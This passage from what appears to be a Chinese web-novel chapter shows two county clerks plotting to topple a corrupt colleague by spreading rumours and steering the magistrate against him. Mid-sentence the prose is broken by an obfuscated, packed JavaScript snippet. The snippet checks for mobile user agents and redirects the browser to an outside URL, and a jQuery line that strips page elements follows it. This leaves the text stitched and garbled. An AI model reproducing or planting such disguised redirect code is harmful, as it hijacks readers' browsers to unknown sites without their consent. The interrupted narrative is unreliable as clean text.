不对,差点被带歪了。 晏同光:“……我要说的不是这个!” “哦哦,”王恒也回过神来,旋即脸色大变,“他们的胆子忒大了!” 往小了说是以职务之便中饱私囊,往大了说就是劫掠朝廷钱粮,若碰上嫉恶如仇的官员一路报上去,依律是可以杀头的! 王恒眼睛一亮,进一步压低声音,往吏房的方向瞥了眼,“你的意思是可以借机……可此事明面上与他并无瓜葛,只怕攀扯不上。” 晏同光嗤笑,“户房典吏都是牛旺推上去的,素来沆瀣一气,这样大的油水,牛旺岂肯眼巴巴干看着?况且下乡收粮需得吏房拨人,你只看这回出去的几个班头,竟有大半是牛旺的心腹,若果然事发,他少不了一个识人不清的连坐!” 捅出这么大的篓子,他就不可能继续担任典吏! 大家奉承牛旺,惧怕牛旺,皆因他是吏房典吏。 墙倒众人推,一旦没了这身皮,还怕没人痛打落水狗吗? 王恒连连点头,“你说得不错,只是若只有你我两个经书,恐分量不够。要不找赵头儿?” 晏同光摇头,“可以试探,不过恐怕他不会贸然出头。” 王恒有功名,不必纳农税,这些外房勾当或许有所耳闻,却不大可能知晓内中细节,但赵老三要纳税,身为刑房典吏,经手各类官司,绝无可能毫不知情。 知道却隐而不发,只有两种可能,第一,赵老三也是其中的受益者;第二,不愿得罪人。 无论哪种,既然之前都不肯发作,如今他就要从典吏的位子上退下来了,自然更不可能在这个节骨眼上开罪人。 “若无人相帮,只你我二人,只怕……”王恒心里有些打鼓,“届时他们必然大呼冤枉,爪牙群起反对,敌众我寡,不妙啊。” 他突然一拍巴掌,“牛兴!现下牛家内乱,人人求自保,若牛旺岌岌可危时,牛兴必然趁势而起,又怎会为牛旺求情?不如你去找他,与咱们一道来个大义灭亲!” 牛兴亦有心腹,只要这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704357|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不帮着牛旺,胜算就大了。 “我与牛兴相交,皆因利起,势必因利而散,他二人反目,势同水火,只因牛旺吃肉,牛兴喝汤,不患寡而患不均,自然闹起来。”晏同光摇头,“当初二人同进同出,谁都不干净,牛旺倒台,牛兴必然无法全身而退,是继续喝汤还是摔锅砸碗,全在牛兴一念之间。” 这便是与人谋的风险,因对方也是个有私心、有算计的活人,纵然你有千万种计策,也难保对方不会临阵做出第一万零一种反应。 所以牛兴可以争取,但绝不可视之为骨干和最后依托。 赵老三不行,牛兴更不行,王恒唉了一声,抓耳挠腮,“这可如何是好?” 晏同光想了一想,“可使人暗中散布谣言,只道牛旺所为已被县尊知晓,县尊有心清算,以如今牛兴与他的僵持,必不通风报信,定会落井下石,先把自己摘出来……” 王恒大喜,“可!” 牛兴想洗清自己,势必要把罪责全推到牛旺身上,若果然如此,牛旺死定了! “不过,”王恒又问,“这么一来,牛兴岂不逃脱?假以时日,难保不是第二个牛旺。” “兄长多虑了,”晏同光笑道,“一来二人多年狼狈为奸,牵扯甚广,哪里是切割得清的?二来县尊慧眼如炬,岂容他全身而退?” 退一万步讲,即便牛兴全身而退,经此一役,牛家元气大伤,臂膀尽断,牛兴独木难支,便不足为惧。 “一箭双雕!”王恒也笑了,“妙啊!” 牛旺该死,牛兴亦不无辜,若能一并扳倒,实乃为民除害! “说来说去,还是只有咱俩啊!”王恒短暂地兴奋了一会儿,骤然回神,如丧考妣。 “你我也好,赵头儿也罢,甚至牛兴反不反水其实都不要紧……”晏同光幽幽道。 与人战,无非以己之长攻人之短,可若敌人的每一面都比自己强大呢? 人脉、权势、资历、威望……晏同光和王恒之流再多来十个也无法与牛旺一党抗衡。 要取胜,必要使更有权势者与之对抗,这个人就是胡元宗。 “大老爷能听咱们的么?”王恒觉得没谱。 晏同光狡黠一笑,“他自然不会听咱们的,咱们也不需要大老爷听咱们的……” 牛旺一党皆是敛财能手,各个名下肥田百亩,另有老家的屋子十分阔气,家人皆穿金戴银,其排场丝毫不下地主乡绅。 这些钱都是哪里来的? 皆为不义之财! 只要打掉牛旺等人,扣掉上缴朝廷的一部分,剩下的都是胡元宗的! 且革除吏弊,百姓欢呼,也是很拿得出手的政绩。 进衙门快一年了,晏同光早已看出胡元宗有心整治,为何迟迟不动手,皆因他站得太高,对本地不熟且无人可用,从外俯视相互包庇的六房便似看铁桶,无从下手。 但晏同光和王恒不同,他们是身处六房的本地人,六房内部种种龃龉、裂痕、糟烂皆如纸上墨点,一清二楚。 只要让胡元宗意识到有利可图、有机可乘,他自己就会主动去做。 而他们要做的,只是起个头,他们要当的,也只是一条导火索。 仅此而已。 王恒苦哈哈道:“贤弟啊,愚兄家里实在没有多余的古画了!” 说得轻巧,可咱们怎么跟县太爷搭上线呢? 直接冲进去说?胡元宗固然不信牛旺,可同样不信咱们呀。 晏同光忍俊不禁,“此事我另有盘算,老兄且安心。” 论劝说,谁又能比得过枕边人? 他就像海边的采珠人,一年来在这片名为衙门的海域中陆陆续续搜集了数颗圆珠,现在,终于要穿成串了。 诸多良机齐聚,此时不干,更待何时?!